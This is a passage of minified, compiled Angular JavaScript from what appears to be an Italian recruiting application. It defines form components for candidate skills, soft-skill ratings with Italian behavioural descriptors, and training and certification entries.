"),z.Cb(4),z.nc("hidden",!o._isInEdit),z.Cb(2),z.nc("formGroup",n),z.Cb(3),z.Kc("",z.ic(13,26,"Industry")," "),z.Cb(3),z.nc("items",o.options.industryListOpt)("ngClass",z.rc(38,Hi,o.validateField("industry",n,o.isInEdit))),z.Cb(3),z.Kc("",z.ic(19,28,"Macro Area")," "),z.Cb(3),z.nc("items",o.options.macroAreaListOpt)("ngClass",z.rc(40,Hi,o.validateField("macro_area",n,o.isInEdit))),z.Cb(3),z.Kc("",z.ic(25,30,"Categoria")," "),z.Cb(3),z.nc("items",o.options.categoriesOptions)("ngClass",z.rc(42,Hi,o.validateField("category_padre",n,o.isInEdit))),z.Cb(3),z.Kc("",z.ic(31,32,"Sottocategoria")," "),z.Cb(3),z.nc("items",o.options.subCategoriesOptions)("ngClass",z.rc(44,Hi,o.validateField("category_figlio",n,o.isInEdit))),z.Cb(3),z.Kc("",z.ic(37,34,"Rating")," "),z.Cb(3),z.nc("readonly",!o._isInEdit)("max",5)("required",!0)("titles",z.qc(46,Zi)),z.Cb(3),z.Kc("",z.ic(43,36,"Esperienza")," "),z.Cb(3),z.nc("readonly",!o._isInEdit)("max",5)("required",!0)("titles",z.qc(47,Zi))("customTemplate",a)}}var en,tn,nn=function(e){return["row",e]},an=function(){return["form-control","border-select"]},on=((en=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray",!0)}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({industry:[null],macro_area:[null],category_padre:[null],category_figlio:[null],skill:[null],rating:[null],validated_rating:[null]})}},{key:"insertSkill",value:function(e){if(e&&e.name){var t=this.newInnerFormItem;t.controls.macro_area.setValue(e.id_macro_area),t.controls.category_padre.setValue(e.category_parent_id),t.controls.category_figlio.setValue(e.category_id),t.controls.skill.setValue(e.name),this._form.push(t),this.skillsSelector.handleClearClick()}}}]),n}(le.a)).\u0275fac=function(e){return new(e||en)(z.Pb(C.e))},en.\u0275cmp=z.Jb({type:en,selectors:[["app-candidate-view-edit-skills"]],viewQuery:function(e,t){var i;1&e&&z.Mc(Bi,1),2&e&&z.wc(i=z.dc())&&(t.skillsSelector=i.first)},features:[z.zb],decls:17,vars:19,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"col-md-12","pl-1"],[1,"form-group"],["bindLabel","name",3,"items","placeholder","readonly","ngClass","addTag","addTagText","change"],["skillsSelector",""],[1,"row"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],["bindLabel","name","bindValue","name","placeholder","","formControlName","industry",3,"items","ngClass"],["bindLabel","name","bindValue","id_macroarea","placeholder","","formControlName","macro_area",3,"items","ngClass"],["bindLabel","name","bindValue","id_category","placeholder","","formControlName","category_padre",3,"items","ngClass"],["bindLabel","name","bindValue","id_category","placeholder","","formControlName","category_figlio",3,"items","ngClass"],["formControlName","rating","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","validated_rating","fullIcon","\u2764","emptyIcon","\uf90d",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles","customTemplate"],["ratingTemplateExperienceSkills",""]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"div",5),z.Vb(8,"div",6),z.Vb(9,"ng-select",7,8),z.cc("change",function(e){return t.insertSkill(e)}),z.hc(11,"translate"),z.hc(12,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(13,"div",9),z.Vb(14,"div",4),z.Vb(15,"accordion",10),z.Gc(16,Xi,48,48,"accordion-group",11),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,10,"Skills")," "),z.Cb(2),z.nc("ngClass",z.rc(16,nn,t.rowStyle)),z.Cb(4),z.oc("placeholder",z.ic(11,12,"Seleziona Skills")),z.nc("items",t.options.skillsOptions)("readonly",!t._isInEdit)("ngClass",z.qc(18,an))("addTag",!0)("addTagText",z.ic(12,14,"Premi invio per aggiungere il nuovo valore")),z.Cb(6),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls))},directives:[S.l,A.a,Ue.a,S.m,Ue.c,C.o,C.i,C.n,C.g,Ne.a,C.u],pipes:[E.c],styles:[""]}),en),rn=function(e){return[e]},cn=function(){return["one","two","three","four","five","six"]},ln=((tn=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormGroup")}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({orientamentoRisultatoOne:[null],orientamentoRisultatoTwo:[null],problemSolvingOne:[null],problemSolvingTwo:[null],problemSolvingTree:[null],orientamentoQualitaOne:[null],orientamentoQualitaTwo:[null],orientamentoQualitaTree:[null],orientamentoClienteOne:[null],orientamentoClienteTwo:[null],orientamentoClienteTree:[null],comunicazioneOne:[null],comunicazioneTwo:[null],comunicazioneTree:[null],adattabilitaCambiamentoOne:[null],adattabilitaCambiamentoTwo:[null],adattabilitaCambiamentoTree:[null],teamWorkingOne:[null],teamWorkingTwo:[null],teamWorkingTree:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||tn)(z.Pb(C.e))},tn.\u0275cmp=z.Jb({type:tn,selectors:[["app-candidate-view-edit-soft-skills"]],features:[z.zb],decls:201,vars:188,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"formGroup","ngClass"],[1,"row","my-4"],[1,"col-md-12"],[1,"card-title"],[1,"row"],[1,"col-md-8"],[1,"card-body__title","mt-3"],[1,"col-md-4","text-center"],[1,"form-group"],["formControlName","orientamentoRisultatoOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoRisultatoTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"form",3),z.Vb(6,"div",4),z.Vb(7,"div",5),z.Vb(8,"h5",6),z.Ic(9),z.hc(10,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(11,"div",7),z.Vb(12,"div",8),z.Vb(13,"h6",9),z.Ic(14),z.hc(15,"translate"),z.Ub(),z.Ub(),z.Vb(16,"div",10),z.Vb(17,"div",11),z.Qb(18,"rating",12),z.Ub(),z.Ub(),z.Ub(),z.Vb(19,"div",7),z.Vb(20,"div",8),z.Vb(21,"h6",9),z.Ic(22),z.hc(23,"translate"),z.Ub(),z.Ub(),z.Vb(24,"div",10),z.Vb(25,"div",11),z.Qb(26,"rating",13),z.Ub(),z.Ub(),z.Ub(),z.Vb(27,"div",4),z.Vb(28,"div",5),z.Vb(29,"h5",6),z.Ic(30),z.hc(31,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(32,"div",7),z.Vb(33,"div",8),z.Vb(34,"h6",9),z.Ic(35),z.hc(36,"translate"),z.Ub(),z.Ub(),z.Vb(37,"div",10),z.Vb(38,"div",11),z.Qb(39,"rating",14),z.Ub(),z.Ub(),z.Ub(),z.Vb(40,"div",7),z.Vb(41,"div",8),z.Vb(42,"h6",9),z.Ic(43),z.hc(44,"translate"),z.Ub(),z.Ub(),z.Vb(45,"div",10),z.Vb(46,"div",11),z.Qb(47,"rating",15),z.Ub(),z.Ub(),z.Ub(),z.Vb(48,"div",7),z.Vb(49,"div",8),z.Vb(50,"h6",9),z.Ic(51),z.hc(52,"translate"),z.Ub(),z.Ub(),z.Vb(53,"div",10),z.Vb(54,"div",11),z.Qb(55,"rating",16),z.Ub(),z.Ub(),z.Ub(),z.Vb(56,"div",4),z.Vb(57,"div",5),z.Vb(58,"h5",6),z.Ic(59),z.hc(60,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(61,"div",7),z.Vb(62,"div",8),z.Vb(63,"h6",9),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Ub(),z.Vb(66,"div",10),z.Vb(67,"div",11),z.Qb(68,"rating",17),z.Ub(),z.Ub(),z.Ub(),z.Vb(69,"div",7),z.Vb(70,"div",8),z.Vb(71,"h6",9),z.Ic(72),z.hc(73,"translate"),z.Ub(),z.Ub(),z.Vb(74,"div",10),z.Vb(75,"div",11),z.Qb(76,"rating",18),z.Ub(),z.Ub(),z.Ub(),z.Vb(77,"div",7),z.Vb(78,"div",8),z.Vb(79,"h6",9),z.Ic(80),z.hc(81,"translate"),z.Ub(),z.Ub(),z.Vb(82,"div",10),z.Vb(83,"div",11),z.Qb(84,"rating",19),z.Ub(),z.Ub(),z.Ub(),z.Vb(85,"div",4),z.Vb(86,"div",5),z.Vb(87,"h5",6),z.Ic(88),z.hc(89,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(90,"div",7),z.Vb(91,"div",8),z.Vb(92,"h6",9),z.Ic(93),z.hc(94,"translate"),z.Ub(),z.Ub(),z.Vb(95,"div",10),z.Vb(96,"div",11),z.Qb(97,"rating",20),z.Ub(),z.Ub(),z.Ub(),z.Vb(98,"div",7),z.Vb(99,"div",8),z.Vb(100,"h6",9),z.Ic(101),z.hc(102,"translate"),z.Ub(),z.Ub(),z.Vb(103,"div",10),z.Vb(104,"div",11),z.Qb(105,"rating",21),z.Ub(),z.Ub(),z.Ub(),z.Vb(106,"div",7),z.Vb(107,"div",8),z.Vb(108,"h6",9),z.Ic(109),z.hc(110,"translate"),z.Ub(),z.Ub(),z.Vb(111,"div",10),z.Vb(112,"div",11),z.Qb(113,"rating",22),z.Ub(),z.Ub(),z.Ub(),z.Vb(114,"div",4),z.Vb(115,"div",5),z.Vb(116,"h5",6),z.Ic(117),z.hc(118,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(119,"div",7),z.Vb(120,"div",8),z.Vb(121,"h6",9),z.Ic(122),z.hc(123,"translate"),z.Ub(),z.Ub(),z.Vb(124,"div",10),z.Vb(125,"div",11),z.Qb(126,"rating",23),z.Ub(),z.Ub(),z.Ub(),z.Vb(127,"div",7),z.Vb(128,"div",8),z.Vb(129,"h6",9),z.Ic(130),z.hc(131,"translate"),z.Ub(),z.Ub(),z.Vb(132,"div",10),z.Vb(133,"div",11),z.Qb(134,"rating",24),z.Ub(),z.Ub(),z.Ub(),z.Vb(135,"div",7),z.Vb(136,"div",8),z.Vb(137,"h6",9),z.Ic(138),z.hc(139,"translate"),z.Ub(),z.Ub(),z.Vb(140,"div",10),z.Vb(141,"div",11),z.Qb(142,"rating",25),z.Ub(),z.Ub(),z.Ub(),z.Vb(143,"div",4),z.Vb(144,"div",5),z.Vb(145,"h5",6),z.Ic(146),z.hc(147,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(148,"div",7),z.Vb(149,"div",8),z.Vb(150,"h6",9),z.Ic(151),z.hc(152,"translate"),z.Ub(),z.Ub(),z.Vb(153,"div",10),z.Vb(154,"div",11),z.Qb(155,"rating",26),z.Ub(),z.Ub(),z.Ub(),z.Vb(156,"div",7),z.Vb(157,"div",8),z.Vb(158,"h6",9),z.Ic(159),z.hc(160,"translate"),z.Ub(),z.Ub(),z.Vb(161,"div",10),z.Vb(162,"div",11),z.Qb(163,"rating",27),z.Ub(),z.Ub(),z.Ub(),z.Vb(164,"div",7),z.Vb(165,"div",8),z.Vb(166,"h6",9),z.Ic(167),z.hc(168,"translate"),z.Ub(),z.Ub(),z.Vb(169,"div",10),z.Vb(170,"div",11),z.Qb(171,"rating",28),z.Ub(),z.Ub(),z.Ub(),z.Vb(172,"div",4),z.Vb(173,"div",5),z.Vb(174,"h5",6),z.Ic(175),z.hc(176,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(177,"div",7),z.Vb(178,"div",8),z.Vb(179,"h6",9),z.Ic(180),z.hc(181,"translate"),z.Ub(),z.Ub(),z.Vb(182,"div",10),z.Vb(183,"div",11),z.Qb(184,"rating",29),z.Ub(),z.Ub(),z.Ub(),z.Vb(185,"div",7),z.Vb(186,"div",8),z.Vb(187,"h6",9),z.Ic(188),z.hc(189,"translate"),z.Ub(),z.Ub(),z.Vb(190,"div",10),z.Vb(191,"div",11),z.Qb(192,"rating",30),z.Ub(),z.Ub(),z.Ub(),z.Vb(193,"div",7),z.Vb(194,"div",8),z.Vb(195,"h6",9),z.Ic(196),z.hc(197,"translate"),z.Ub(),z.Ub(),z.Vb(198,"div",10),z.Vb(199,"div",11),z.Qb(200,"rating",31),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,110,"Soft Skills")," "),z.Cb(2),z.nc("formGroup",t._form)("ngClass",z.rc(166,rn,t.rowStyle)),z.Cb(4),z.Jc(z.ic(10,112,"ORIENTAMENTO AL RISULTATO")),z.Cb(5),z.Jc(z.ic(15,114,"Mantiene una forte focalizzazione sugli obiettivi assegnati, anche nelle difficolt\xe0.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(168,cn)),z.Cb(4),z.Jc(z.ic(23,116,"Persegue i risultati con impegno e determinazione anche in assenza di continua supervisione.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(169,cn)),z.Cb(4),z.Jc(z.ic(31,118,"PROBLEM SOLVING E ANALISI")),z.Cb(5),z.Jc(z.ic(36,120,"Fornisce risposte rapide e appropriate di fronte a difficolt\xe0 o situazioni complesse.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(170,cn)),z.Cb(4),z.Jc(z.ic(44,122,"Quando affronta problemi nuovi effettua una efficace analisi delle variabili in gioco.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(171,cn)),z.Cb(4),z.Jc(z.ic(52,124,"Anticipa i potenziali problemi, proponendo pro-attivamente soluzioni adeguate ed efficienti prima che essi si verifichino.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(172,cn)),z.Cb(4),z.Jc(z.ic(60,126,"ORIENTAMENTO ALLA QUALITA")),z.Cb(5),z.Jc(z.ic(65,128,"Presta molta attenzione ai dettagli delle informazioni disponibili.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(173,cn)),z.Cb(4),z.Jc(z.ic(73,130,"Si assicura che vengano seguite le procedure operative o tecniche.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(174,cn)),z.Cb(4),z.Jc(z.ic(81,132,"Verifica la qualit\xe0 e precisione del proprio lavoro.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(175,cn)),z.Cb(4),z.Jc(z.ic(89,134,"ORIENTAMENTO AL CLIENTE")),z.Cb(5),z.Jc(z.ic(94,136,"Identifica correttamente e soddisfa le esigenze del cliente.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(176,cn)),z.Cb(4),z.Jc(z.ic(102,138,"Anticipa le esigenze inespresse del cliente, consigliandolo sui potenziali bisogni che potrebbe non aver considerato.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(177,cn)),z.Cb(4),z.Jc(z.ic(110,140,"Si impegna in prima persona a risolvere i problemi e i reclami del cliente, applicando le opportune procedure di escalation quando necessario.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(178,cn)),z.Cb(4),z.Jc(z.ic(118,142,"COMUNICAZIONE")),z.Cb(5),z.Jc(z.ic(123,144,"Si esprime in modo chiaro e strutturato.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(179,cn)),z.Cb(4),z.Jc(z.ic(131,146,"Ascolta, si mette nei panni degli altri e mostra comprensione per le loro idee.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(180,cn)),z.Cb(4),z.Jc(z.ic(139,148,"Riesce ad essere assertivo e a difendere i propri punti di vista mantenendo un atteggiamento rispettoso verso le opinioni altrui.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(181,cn)),z.Cb(4),z.Jc(z.ic(147,150,"ADATTABILITA AL CAMBIAMENTO")),z.Cb(5),z.Jc(z.ic(152,152,"Accetta e si adatta rapidamente ai cambiamenti (di team, di progetto, di organizzazione).")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(182,cn)),z.Cb(4),z.Jc(z.ic(160,154,"Considera idee e approcci differenti integrandoli nel proprio agire quotidiano.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(183,cn)),z.Cb(4),z.Jc(z.ic(168,156,"Sa ricevere feedback e modificare opportunamente i propri comportamenti.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(184,cn)),z.Cb(4),z.Jc(z.ic(176,158,"TEAM WORKING")),z.Cb(5),z.Jc(z.ic(181,160,"Mostra un approccio collaborativo aiutando il team a risolvere i potenziali problemi.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(185,cn)),z.Cb(4),z.Jc(z.ic(189,162,"Supporta attivamente gli altri nell\u2019esecuzione degli incarichi assegnati al team.")),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(186,cn)),z.Cb(4),z.Kc("",z.ic(197,164,"Sa mostrare apprezzamento per i contributi e le idee altrui, partecipa attivamente alle attivit\xe0 di brainstorming del gruppo.")," "),z.Cb(4),z.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",z.qc(187,cn)))},directives:[C.w,C.o,C.i,S.l,Ne.a,C.n,C.g,C.u],pipes:[E.c],styles:[""]}),tn);function sn(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",39),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",40),z.Ub()}if(2&e){var n=z.gc(2);z.nc("hidden",!n._isInEdit)}}var bn=function(e){return["form-control",e]},dn=function(e){return["form-control","border-select",e]};function mn(e,t){if(1&e&&(z.Vb(0,"accordion-group",12),z.Vb(1,"button",13),z.Vb(2,"div",14),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",15),z.Vb(6,"span",16),z.Qb(7,"i",17),z.Ub(),z.Gc(8,sn,2,1,"span",18),z.Ub(),z.Ub(),z.Vb(9,"div",19),z.Vb(10,"div",20),z.Vb(11,"div",21),z.Vb(12,"h3",22),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"div",23),z.Vb(16,"div",24),z.Qb(17,"input",25),z.Qb(18,"i",26),z.Ub(),z.Ub(),z.Qb(19,"i",27),z.Ub(),z.Ub(),z.Vb(20,"div",20),z.Vb(21,"div",21),z.Vb(22,"h3",22),z.Ic(23),z.hc(24,"translate"),z.Ub(),z.Vb(25,"div",23),z.Vb(26,"div",24),z.Qb(27,"input",28),z.Qb(28,"i",26),z.Ub(),z.Ub(),z.Qb(29,"i",27),z.Ub(),z.Ub(),z.Vb(30,"div",29),z.Vb(31,"h3",30),z.Ic(32),z.hc(33,"translate"),z.Ub(),z.Vb(34,"div",21),z.Qb(35,"input",31),z.Qb(36,"i",27),z.Vb(37,"div",32),z.Ic(38),z.hc(39,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(40,"div",29),z.Vb(41,"h3",30),z.Ic(42),z.hc(43,"translate"),z.Ub(),z.Vb(44,"div",21),z.Vb(45,"app-datetime-manager",33),z.cc("modelChange",function(e){return t.$implicit.controls.dataConseguimento.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(46,"div",29),z.Vb(47,"h3",30),z.Ic(48),z.hc(49,"translate"),z.Ub(),z.Vb(50,"div",21),z.Qb(51,"input",34),z.Qb(52,"i",27),z.Vb(53,"div",32),z.Ic(54),z.hc(55,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(56,"div",29),z.Vb(57,"h3",30),z.Ic(58),z.hc(59,"translate"),z.Ub(),z.Vb(60,"div",21),z.Qb(61,"input",35),z.Qb(62,"i",27),z.Vb(63,"div",32),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(66,"div",29),z.Vb(67,"h3",30),z.Ic(68),z.hc(69,"translate"),z.Ub(),z.Vb(70,"div",21),z.Qb(71,"ng-select",36),z.hc(72,"translate"),z.Ub(),z.Ub(),z.Vb(73,"div",29),z.Vb(74,"h3",30),z.Ic(75),z.hc(76,"translate"),z.Ub(),z.Vb(77,"div",21),z.Vb(78,"app-datetime-manager",33),z.cc("modelChange",function(e){return t.$implicit.controls.startDate.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(79,"div",29),z.Vb(80,"h3",30),z.Ic(81),z.hc(82,"translate"),z.Ub(),z.Vb(83,"div",21),z.Vb(84,"app-datetime-manager",33),z.cc("modelChange",function(e){return t.$implicit.controls.endDate.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(85,"div",29),z.Vb(86,"h3",30),z.Ic(87),z.hc(88,"translate"),z.Ub(),z.Vb(89,"div",21),z.Qb(90,"input",37),z.Qb(91,"i",27),z.Ub(),z.Ub(),z.Vb(92,"div",29),z.Vb(93,"h3",30),z.Ic(94),z.hc(95,"translate"),z.Ub(),z.Vb(96,"div",21),z.Qb(97,"input",38),z.Qb(98,"i",27),z.Vb(99,"div",32),z.Ic(100,"{{'L'URL deve essere valida!' | translate}}"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=t.index,a=z.gc();z.Cb(3),z.Kc(" ",i.controls.name_certification.value?i.controls.name_certification.value:z.ic(4,44,"Formazione")+" #"+(n+1)," "),z.Cb(5),z.nc("ngIf",a._form.length>1),z.Cb(1),z.nc("formGroup",i),z.Cb(4),z.Kc("",z.ic(14,46,"Corso di Formazione")," "),z.Cb(10),z.Kc("",z.ic(24,48,"Certificazione")," "),z.Cb(7),z.nc("hidden",!i.controls.formazione.value),z.Cb(2),z.Kc("",z.ic(33,50,"Titolo della Formazione")," "),z.Cb(3),z.nc("ngClass",z.rc(76,bn,a.validateField("titoloFormazione",i,a.isInEdit))),z.Cb(3),z.Jc(z.ic(39,52,"Il nome certificato \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),z.Cb(2),z.nc("hidden",!i.controls.formazione.value),z.Cb(2),z.Kc("",z.ic(43,54,"Data Conseguimento")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.dataConseguimento.value)("inputClass",z.rc(78,bn,a.validateField("dataConseguimento",i,a.isInEdit))),z.Cb(1),z.nc("hidden",!i.controls.formazione.value),z.Cb(2),z.Kc("",z.ic(49,56,"Ente Formatore")," "),z.Cb(3),z.nc("ngClass",z.rc(80,bn,a.validateField("enteFormatore",i,a.isInEdit))),z.Cb(3),z.Kc(" ",z.ic(55,58,"LEnte formatore \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),z.Cb(2),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(59,60,"Nome Certificato")," "),z.Cb(3),z.nc("ngClass",z.rc(82,bn,a.validateField("name_certification",i,a.isInEdit))),z.Cb(3),z.Jc(z.ic(65,62,"Il nome certificato \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),z.Cb(2),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(69,64,"Organizzazione emittente")," "),z.Cb(3),z.nc("items",a.options.issuersListOpt)("ngClass",z.rc(84,dn,a.validateField("issuer",i,a.isInEdit)))("addTag",!0)("addTagText",z.ic(72,66,"Premi invio per aggiungere il nuovo valore")),z.Cb(2),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(76,68,"Emessa il")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.startDate.value)("inputClass",z.rc(86,bn,a.validateField("startDate",i,a.isInEdit))),z.Cb(1),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(82,70,"Scadenza")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.endDate.value)("inputClass",z.rc(88,bn,a.validateField("endDate",i,a.isInEdit))),z.Cb(1),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(88,72,"ID Credenziale")," "),z.Cb(3),z.nc("ngClass",z.rc(90,bn,a.validateField("certificate_id",i,a.isInEdit))),z.Cb(2),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(95,74,"URL Credenziale")," "),z.Cb(3),z.nc("ngClass",z.rc(92,bn,a.validateField("certificate_url",i,a.isInEdit)))}}var un,gn=function(e){return["row",e]},pn=((un=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray",!0)}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({formazione:[!1],certificazione:[!1],titoloFormazione:[null],dataConseguimento:[null],enteFormatore:[null],name_certification:[null],issuer:[null],startDate:[null],endDate:[null],certificate_id:[null],certificate_url:[null]})}}]),n}(le.a)).\u0275fac=function(e){return 